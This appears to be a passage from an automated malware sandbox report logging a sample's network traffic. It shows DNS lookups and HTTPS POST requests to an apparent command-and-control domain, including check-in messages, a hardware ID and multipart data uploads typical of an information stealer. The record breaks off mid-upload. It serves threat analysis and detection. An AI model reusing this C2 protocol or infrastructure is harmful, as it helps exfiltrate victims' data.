Dec 24, 2024 11:22:33.191771984 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.191798925 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.191813946 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.191864014 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.192014933 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.192047119 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.192070007 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.192184925 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.192212105 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.235341072 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.235517025 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.235543966 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.235572100 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.235591888 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.235610962 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.235621929 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.235706091 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.235726118 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:35.655744076 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:35.656002045 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:35.656084061 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:35.658291101 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:35.658305883 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:35.712354898 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:35.712414026 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:35.712479115 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:35.712989092 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:35.713001966 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:35.975732088 CET	49757	443	192.168.2.5	104.21.36.201

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 11:22:16.020023108 CET	62264	53	192.168.2.5	1.1.1.1
Dec 24, 2024 11:22:16.157778978 CET	53	62264	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 11:22:16.020023108 CET	192.168.2.5	1.1.1.1	0xda2c	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 11:22:11.079804897 CET	1.1.1.1	192.168.2.5	0x1908	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 11:22:11.079804897 CET	1.1.1.1	192.168.2.5	0x1908	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:22:16.157778978 CET	1.1.1.1	192.168.2.5	0xda2c	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false
Dec 24, 2024 11:22:16.157778978 CET	1.1.1.1	192.168.2.5	0xda2c	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49720	104.21.36.201	443	6780	C:\Users\user\Desktop\bG89JAQXz2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:22:17 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-24 10:22:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 10:22:18 UTC	1123	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gqvft02u5sef3p7vffsn3nodvk; expires=Sat, 19 Apr 2025 04:08:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HSov8AV0eB3%2FvKQz1%2BCEyzn59taMQxv7FO32S1Wq2gA8fTM8NmvpG0eEbOvEZfSVtTRDnvukBjwofSIHqwrvmVP3REUf3s67d1TxkqKu%2FaUfT5g3zIgoqzWsAPR7VIVAvZY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6fde918f208cc6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1927&min_rtt=1915&rtt_var=742&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1452013&cwnd=222&unsent_bytes=0&cid=25503d86120fdcfa&ts=936&x=0"
2024-12-24 10:22:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 10:22:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49722	104.21.36.201	443	6780	C:\Users\user\Desktop\bG89JAQXz2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:22:19 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: observerfry.lat
2024-12-24 10:22:19 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-24 10:22:20 UTC	1121	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1ob6r3p3qr590rbaq0qkkemtor; expires=Sat, 19 Apr 2025 04:08:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KblOK8YqzX5IbVQNpaMwE2fj5c8yE1M87MxUcIFl%2FfXrkSP4wQykFVIMXFXb18U6BqbRXluSyGKK4c5P0V0z3qE7cgXwB1Ur0uVE00cdzAKaSNBWI%2B7qcAGhlzXJ2Uw87xE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6fde9edd4ede9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1548&min_rtt=1544&rtt_var=588&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=946&delivery_rate=1844598&cwnd=209&unsent_bytes=0&cid=224c2a8b4ec91330&ts=765&x=0"
2024-12-24 10:22:20 UTC	248	IN	Data Raw: 31 34 37 65 0d 0a 66 5a 2f 31 41 37 78 47 4a 76 36 7a 33 47 34 4b 6a 67 46 56 53 76 4f 6c 56 31 6b 39 34 2b 2b 61 65 71 35 34 63 66 65 49 31 57 77 47 76 59 4d 68 68 6e 49 4b 33 4d 43 35 54 44 44 36 63 79 41 76 33 34 63 32 50 52 2f 5a 69 66 73 57 33 52 31 64 31 66 36 34 54 6b 66 35 6c 47 2f 50 49 77 72 63 31 71 52 4d 4d 4e 56 36 64 79 2b 64 68 32 31 37 57 49 6d 4e 2b 78 62 4d 47 52 71 59 2b 4c 6b 50 46 66 4f 53 61 39 6b 6c 51 70 2f 66 73 51 74 76 36 32 41 2f 4a 4a 72 49 50 7a 51 66 7a 38 33 2f 41 49 78 43 55 37 72 74 6f 51 30 77 2f 6f 5a 6f 6e 6a 73 4b 68 5a 47 35 41 43 69 30 49 7a 51 76 6b 63 6b 78 50 56 61 4c 68 2f 49 65 7a 52 77 62 68 2b 47 7a 42 42 58 39 6b 57 72 54 4c 46 61 53 31 62 59 41 61 65 46 67 64 32 62 52 77 43 31 37 42 38 Data Ascii: 147efZ/1A7xGJv6z3G4KjgFVSvOlV1k94++aeq54cfeI1WwGvYMhhnIK3MC5TDD6cyAv34c2PR/ZifsW3R1d1f64Tkf5lG/PIwrc1qRMMNV6dy+dh217WImN+xbMGRqY+LkPFfOSa9klQp/fsQtv62A/JJrIPzQfz83/AIxCU7rtoQ0w/oZonjsKhZG5ACi0IzQvkckxPVaLh/IezRwbh+GzBBX9kWrTLFaS1bYAaeFgd2bRwC17B8
2024-12-24 10:22:20 UTC	1369	IN	Data Raw: 48 65 79 68 76 64 43 77 61 59 2b 72 46 4f 41 4c 4f 4f 49 64 6b 6f 42 4d 53 52 74 67 42 6d 36 57 41 34 4c 35 44 48 4a 7a 52 66 67 6f 58 77 48 4d 59 56 48 4a 72 6b 76 51 6b 58 39 4a 42 75 32 53 78 43 6b 39 4c 2b 51 69 6a 72 65 33 64 77 30 65 63 6c 4f 46 79 56 67 4f 6c 59 30 31 51 4b 31 65 32 37 54 6b 65 39 6b 57 2f 66 4b 55 53 4f 32 62 55 48 62 66 35 6f 50 69 57 63 78 7a 67 78 55 49 4b 4e 2f 78 4c 47 46 52 6d 52 35 37 6f 49 48 2f 33 58 4c 35 34 6a 58 4e 79 4a 2f 69 39 74 2f 47 51 37 50 74 50 39 64 53 51 52 6d 4d 33 2f 46 49 78 43 55 35 33 76 74 41 30 55 38 70 52 70 31 54 5a 45 6a 74 65 7a 43 58 72 71 5a 6a 6b 69 6b 74 55 2f 4e 56 6d 43 68 50 4d 52 79 52 30 58 31 61 54 33 43 51 65 39 7a 79 48 2f 4b 55 2b 51 32 36 6b 4d 4b 50 4d 74 4c 6d 69 57 79 33 56 6a 48 Data Ascii: HeyhvdCwaY+rFOALOOIdkoBMSRtgBm6WA4L5DHJzRfgoXwHMYVHJrkvQkX9JBu2SxCk9L+Qijre3dw0eclOFyVgOlY01QK1e27Tke9kW/fKUSO2bUHbf5oPiWcxzgxUIKN/xLGFRmR57oIH/3XL54jXNyJ/i9t/GQ7PtP9dSQRmM3/FIxCU53vtA0U8pRp1TZEjtezCXrqZjkiktU/NVmChPMRyR0X1aT3CQe9zyH/KU+Q26kMKPMtLmiWy3VjH
2024-12-24 10:22:20 UTC	1369	IN	Data Raw: 59 67 6c 6f 55 6a 61 72 76 54 6a 58 2b 67 32 4c 55 5a 6e 47 66 33 37 41 4c 66 71 78 38 65 54 48 52 77 44 6c 37 42 38 47 41 2b 52 44 4b 43 42 79 59 36 62 6b 41 45 50 69 59 61 64 34 6b 53 5a 6e 56 74 51 64 72 34 57 63 6c 49 70 48 50 4d 44 70 56 69 38 32 32 57 4d 73 43 55 38 32 71 68 68 6b 55 76 36 4a 69 30 43 70 44 69 70 47 68 51 6e 47 73 5a 44 74 6f 79 59 63 34 4d 31 71 45 67 76 6b 53 77 68 38 5a 6d 65 4b 35 44 51 33 79 6b 32 48 53 4c 45 36 52 33 37 6f 45 59 65 64 6f 4d 53 69 51 7a 58 56 31 48 34 61 56 75 45 43 4d 4c 68 53 5a 35 37 68 4d 4b 76 36 5a 62 39 6b 79 42 49 4f 66 70 30 78 76 34 43 4e 76 61 4a 33 4f 4e 54 42 56 68 59 33 2f 46 63 6b 5a 46 4a 62 6e 73 41 51 52 2b 70 4e 74 31 79 6c 43 6e 4e 61 36 43 58 72 70 61 6a 73 6b 30 59 6c 31 50 45 66 42 31 62 Data Ascii: YgloUjarvTjX+g2LUZnGf37ALfqx8eTHRwDl7B8GA+RDKCByY6bkAEPiYad4kSZnVtQdr4WclIpHPMDpVi822WMsCU82qhhkUv6Ji0CpDipGhQnGsZDtoyYc4M1qEgvkSwh8ZmeK5DQ3yk2HSLE6R37oEYedoMSiQzXV1H4aVuECMLhSZ57hMKv6Zb9kyBIOfp0xv4CNvaJ3ONTBVhY3/FckZFJbnsAQR+pNt1ylCnNa6CXrpajsk0Yl1PEfB1b
2024-12-24 10:22:20 UTC	1369	IN	Data Raw: 55 38 32 71 76 67 63 4e 38 35 6c 6f 30 79 4a 4d 6d 39 2b 7a 42 32 37 6e 5a 44 41 75 6e 4d 38 34 50 6c 79 41 69 66 49 4b 7a 78 45 5a 6d 4f 44 33 51 46 2f 36 6a 79 47 47 5a 47 4f 51 2b 4b 34 58 65 76 6f 6a 4b 47 61 49 68 7a 49 33 48 39 6e 4e 2b 78 66 46 46 52 75 64 35 62 67 4b 45 66 75 52 62 4e 73 72 54 6f 37 5a 73 41 46 6a 34 32 67 6c 4b 4a 7a 44 4f 54 39 58 69 6f 65 34 56 6f 77 64 43 39 57 79 39 7a 73 53 38 70 64 69 79 47 52 62 30 73 6a 2b 43 32 53 73 4f 33 63 6b 6e 38 63 36 4e 31 4f 4b 68 66 6b 55 77 68 30 57 6e 4f 4b 2f 48 42 37 35 6e 32 44 51 4b 30 57 59 31 4c 73 49 62 2b 68 6c 4f 47 6a 66 68 7a 49 6a 48 39 6e 4e 31 7a 2f 35 57 44 4b 76 71 71 68 41 42 72 32 51 62 5a 35 38 42 4a 44 53 73 67 52 6e 36 6d 6f 37 49 70 6a 4d 4f 54 42 62 6a 59 54 39 48 73 30 Data Ascii: U82qvgcN85lo0yJMm9+zB27nZDAunM84PlyAifIKzxEZmOD3QF/6jyGGZGOQ+K4XevojKGaIhzI3H9nN+xfFFRud5bgKEfuRbNsrTo7ZsAFj42glKJzDOT9Xioe4VowdC9Wy9zsS8pdiyGRb0sj+C2SsO3ckn8c6N1OKhfkUwh0WnOK/HB75n2DQK0WY1LsIb+hlOGjfhzIjH9nN1z/5WDKvqqhABr2QbZ58BJDSsgRn6mo7IpjMOTBbjYT9Hs0
2024-12-24 10:22:20 UTC	899	IN	Data Raw: 4c 41 48 44 66 4f 61 62 74 59 73 54 5a 33 56 75 77 46 75 34 47 6b 32 4c 35 2f 4a 50 58 73 52 77 59 72 67 57 4a 52 61 4d 6f 58 78 70 52 67 53 33 4a 70 75 6e 6a 73 4b 68 5a 47 35 41 43 69 30 49 7a 34 36 6c 63 6f 6e 4d 6c 69 50 67 76 73 4b 7a 52 63 59 68 2b 32 34 43 68 6a 78 6b 57 37 59 4a 55 47 57 33 62 6b 4a 59 2b 4e 76 64 32 62 52 77 43 31 37 42 38 47 6a 38 77 76 62 47 52 32 65 2f 4b 78 4f 41 4c 4f 4f 49 64 6b 6f 42 4d 53 52 76 51 64 6a 36 47 4d 37 4b 4a 58 4b 4e 53 6c 51 68 6f 72 78 45 39 34 51 46 4a 4c 68 76 77 55 51 2b 34 56 74 30 44 5a 42 6a 73 50 2b 51 69 6a 72 65 33 64 77 30 66 45 79 4b 30 2b 43 7a 38 6b 4f 7a 77 77 59 6d 4f 62 33 45 56 48 6b 31 32 62 53 5a 42 7a 63 31 37 45 46 61 2b 4e 69 50 69 53 63 77 6a 77 2b 58 6f 65 4a 38 68 4c 4d 48 42 57 55 Data Ascii: LAHDfOabtYsTZ3VuwFu4Gk2L5/JPXsRwYrgWJRaMoXxpRgS3JpunjsKhZG5ACi0Iz46lconMliPgvsKzRcYh+24ChjxkW7YJUGW3bkJY+Nvd2bRwC17B8Gj8wvbGR2e/KxOALOOIdkoBMSRvQdj6GM7KJXKNSlQhorxE94QFJLhvwUQ+4Vt0DZBjsP+Qijre3dw0fEyK0+Cz8kOzwwYmOb3EVHk12bSZBzc17EFa+NiPiScwjw+XoeJ8hLMHBWU
2024-12-24 10:22:20 UTC	1369	IN	Data Raw: 33 34 39 65 0d 0a 59 47 46 2f 32 52 61 39 6f 6e 54 5a 2f 57 74 77 70 6a 37 32 6b 34 4c 35 66 44 4e 54 42 59 6a 34 76 39 45 38 56 61 58 64 58 74 72 30 35 48 76 62 46 43 7a 44 5a 32 6b 74 4b 6c 54 48 65 69 65 6e 63 76 6e 59 64 74 65 31 53 4a 67 75 6f 64 78 52 49 58 6e 4f 71 7a 42 42 4c 36 6c 32 54 54 49 55 43 53 31 62 6b 4d 5a 4f 4e 6b 50 79 65 56 78 7a 70 37 45 63 47 4b 34 46 69 55 57 6a 4f 65 2f 4a 59 41 46 4f 2f 58 66 70 41 39 42 4a 76 64 2f 6c 51 6f 34 6d 6f 32 49 4a 2f 4c 50 54 39 4e 67 59 62 78 46 38 30 56 45 35 62 72 76 51 59 4e 2b 35 64 71 31 69 4e 4d 6d 4e 2b 73 44 57 65 73 4c 58 63 76 69 59 64 74 65 32 36 58 69 76 38 58 6a 6a 4d 55 6a 75 75 39 44 52 54 78 31 33 36 51 50 51 53 62 33 66 35 55 4b 4f 46 76 4f 69 79 44 79 7a 55 37 56 6f 61 48 36 68 66 Data Ascii: 349eYGF/2Ra9onTZ/Wtwpj72k4L5fDNTBYj4v9E8VaXdXtr05HvbFCzDZ2ktKlTHeiencvnYdte1SJguodxRIXnOqzBBL6l2TTIUCS1bkMZONkPyeVxzp7EcGK4FiUWjOe/JYAFO/XfpA9BJvd/lQo4mo2IJ/LPT9NgYbxF80VE5brvQYN+5dq1iNMmN+sDWesLXcviYdte26Xiv8XjjMUjuu9DRTx136QPQSb3f5UKOFvOiyDyzU7VoaH6hf
2024-12-24 10:22:20 UTC	1369	IN	Data Raw: 65 43 77 41 41 33 38 6e 57 33 66 49 30 4f 58 77 37 55 65 59 2b 52 67 4f 53 43 59 78 7a 73 37 58 6f 79 4e 75 46 61 4d 48 51 76 56 73 76 63 72 50 4f 71 42 61 35 77 48 55 34 72 62 75 51 42 2b 35 32 49 30 50 70 7a 58 64 58 55 66 6b 49 72 70 57 4a 51 4d 41 34 4c 74 71 45 41 47 76 5a 42 74 6e 6e 77 45 6c 39 36 77 41 57 50 6f 61 6a 49 67 6b 73 49 77 4d 56 4f 4e 6a 50 41 52 78 68 38 57 6b 2b 43 30 41 42 44 38 6d 32 58 58 4b 6b 33 63 6e 2f 34 4c 63 4b 77 37 64 78 36 42 77 43 30 32 54 38 4f 2f 2b 77 6e 64 44 78 36 46 37 50 55 68 48 50 47 55 5a 4e 6b 30 42 49 4f 66 70 30 78 76 34 43 4e 76 61 4a 48 44 4f 54 68 59 6a 34 4c 31 46 38 73 52 48 4a 2f 6b 70 51 45 61 39 5a 74 70 30 7a 5a 4f 6c 73 4f 33 42 57 58 69 61 79 55 72 30 59 6c 31 50 45 66 42 31 62 67 71 78 68 6b 66 Data Ascii: eCwAA38nW3fI0OXw7UeY+RgOSCYxzs7XoyNuFaMHQvVsvcrPOqBa5wHU4rbuQB+52I0PpzXdXUfkIrpWJQMA4LtqEAGvZBtnnwEl96wAWPoajIgksIwMVONjPARxh8Wk+C0ABD8m2XXKk3cn/4LcKw7dx6BwC02T8O/+wndDx6F7PUhHPGUZNk0BIOfp0xv4CNvaJHDOThYj4L1F8sRHJ/kpQEa9Ztp0zZOlsO3BWXiayUr0Yl1PEfB1bgqxhkf
2024-12-24 10:22:20 UTC	1369	IN	Data Raw: 30 61 2b 71 6c 66 30 43 4e 51 6d 39 2b 34 44 43 69 69 49 7a 68 6f 79 66 35 31 63 78 2b 2b 77 37 67 41 6a 45 4a 54 6f 4f 6d 35 41 42 6a 72 68 69 7a 39 4d 31 4b 57 79 76 77 71 62 2f 31 71 49 53 57 44 68 33 74 37 57 63 48 56 71 46 61 4d 48 67 4c 56 73 75 64 63 52 4b 6a 45 4e 6f 35 32 57 39 4c 49 2f 68 6f 6f 74 44 46 35 61 49 4f 48 62 58 73 59 67 70 2f 71 48 73 38 4d 45 4e 4c 55 69 53 34 55 36 35 5a 73 31 53 68 36 6f 73 53 39 41 6d 62 72 64 53 5a 6f 33 34 63 36 65 77 65 34 7a 62 42 59 38 31 52 54 6a 61 72 76 54 69 72 2b 6d 57 2f 5a 4d 6c 58 52 38 62 55 61 61 65 46 6f 4f 32 71 51 79 69 55 38 48 38 2f 4e 2f 6c 69 55 53 6c 33 56 37 71 5a 4f 52 36 33 46 4f 6f 74 33 45 38 79 44 6f 55 4a 78 72 48 56 33 63 4d 4f 4a 64 53 6b 66 32 63 32 2f 47 39 34 49 46 5a 62 38 74 Data Ascii: 0a+qlf0CNQm9+4DCiiIzhoyf51cx++w7gAjEJToOm5ABjrhiz9M1KWyvwqb/1qISWDh3t7WcHVqFaMHgLVsudcRKjENo52W9LI/hootDF5aIOHbXsYgp/qHs8MENLUiS4U65Zs1Sh6osS9AmbrdSZo34c6ewe4zbBY81RTjarvTir+mW/ZMlXR8bUaaeFoO2qQyiU8H8/N/liUSl3V7qZOR63FOot3E8yDoUJxrHV3cMOJdSkf2c2/G94IFZb8t
2024-12-24 10:22:20 UTC	1369	IN	Data Raw: 5a 49 64 68 6b 48 4d 36 66 2f 67 68 35 72 44 74 6e 65 73 71 53 5a 6d 77 50 30 35 4b 32 41 59 77 4d 55 38 32 34 2b 55 34 4e 76 63 38 68 6d 53 64 57 6a 74 65 39 47 6d 75 72 58 51 6b 4f 6b 73 41 7a 4f 46 47 57 6e 4c 6f 33 7a 78 45 66 6d 65 32 68 4d 43 48 6f 6c 47 2f 51 49 31 4b 4e 6b 66 42 4d 5a 36 77 37 44 6d 69 41 7a 54 4a 33 46 38 32 63 36 78 62 48 44 42 54 56 31 66 6c 4f 42 37 33 50 49 65 73 6e 53 70 4c 57 71 42 30 6c 79 6d 41 77 4c 70 4c 4a 49 69 6f 66 7a 38 33 2b 57 4a 52 49 58 64 58 75 70 6b 35 48 72 63 55 36 69 33 63 54 7a 49 4f 68 51 6e 47 73 64 58 64 77 77 6f 6c 31 4b 52 2f 5a 7a 62 38 57 77 52 73 51 6d 2b 6d 6c 48 42 6e 2b 67 57 4b 5a 47 6e 71 35 33 4c 4d 4a 5a 75 74 64 43 51 6d 62 31 7a 67 30 57 4c 2b 7a 7a 77 6e 4c 43 6c 47 7a 36 61 45 4e 58 37 Data Ascii: ZIdhkHM6f/gh5rDtnesqSZmwP05K2AYwMU824+U4Nvc8hmSdWjte9GmurXQkOksAzOFGWnLo3zxEfme2hMCHolG/QI1KNkfBMZ6w7DmiAzTJ3F82c6xbHDBTV1flOB73PIesnSpLWqB0lymAwLpLJIiofz83+WJRIXdXupk5HrcU6i3cTzIOhQnGsdXdwwol1KR/Zzb8WwRsQm+mlHBn+gWKZGnq53LMJZutdCQmb1zg0WL+zzwnLClGz6aENX7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49723	104.21.36.201	443	6780	C:\Users\user\Desktop\bG89JAQXz2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:22:22 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WSUQ10MFH0JTREA1N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: observerfry.lat
2024-12-24 10:22:22 UTC	12829	OUT	Data Raw: 2d 2d 57 53 55 51 31 30 4d 46 48 30 4a 54 52 45 41 31 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 46 36 38 36 30 36 46 39 45 45 31 38 46 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 57 53 55 51 31 30 4d 46 48 30 4a 54 52 45 41 31 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 53 55 51 31 30 4d 46 48 30 4a 54 52 45 41 31 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --WSUQ10MFH0JTREA1NContent-Disposition: form-data; name="hwid"FD7F68606F9EE18FBEBA0C6A975F1733--WSUQ10MFH0JTREA1NContent-Disposition: form-data; name="pid"2--WSUQ10MFH0JTREA1NContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-24 10:22:23 UTC	1142	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:22:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t4l24mhi64clouh3tustde6c3f; expires=Sat, 19 Apr 2025 04:09:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vd3AaD8hMHb9Xd6CxD8Gd%2FgbqKb%2BaCMh%2BEp0Gjtt6i%2FyXo6V59pgi%2BaFYM0ZvVJ%2FstaufmJ7igCRPo6z5IJFHv%2FY0%2Bpg%2B9UtQdthbumCxg9sDRbqznjlUfzqxQ10Re%2Bgv9Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6fdeaf481d3342-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2407&min_rtt=1973&rtt_var=1609&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13767&delivery_rate=535878&cwnd=150&unsent_bytes=0&cid=55801bdf34a0565b&ts=1088&x=0"
2024-12-24 10:22:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 10:22:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49726	104.21.36.201	443	6780	C:\Users\user\Desktop\bG89JAQXz2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:22:24 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SETRTZCKVSIVYMIP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15065 Host: observerfry.lat
2024-12-24 10:22:24 UTC	15065	OUT	Data Raw: 2d 2d 53 45 54 52 54 5a 43 4b 56 53 49 56 59 4d 49 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 46 36 38 36 30 36 46 39 45 45 31 38 46 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 53 45 54 52 54 5a 43 4b 56 53 49 56 59 4d 49 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 45 54 52 54 5a 43 4b 56 53 49 56 59 4d 49 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 53 45 Data Ascii: --SETRTZCKVSIVYMIPContent-Disposition: form-data; 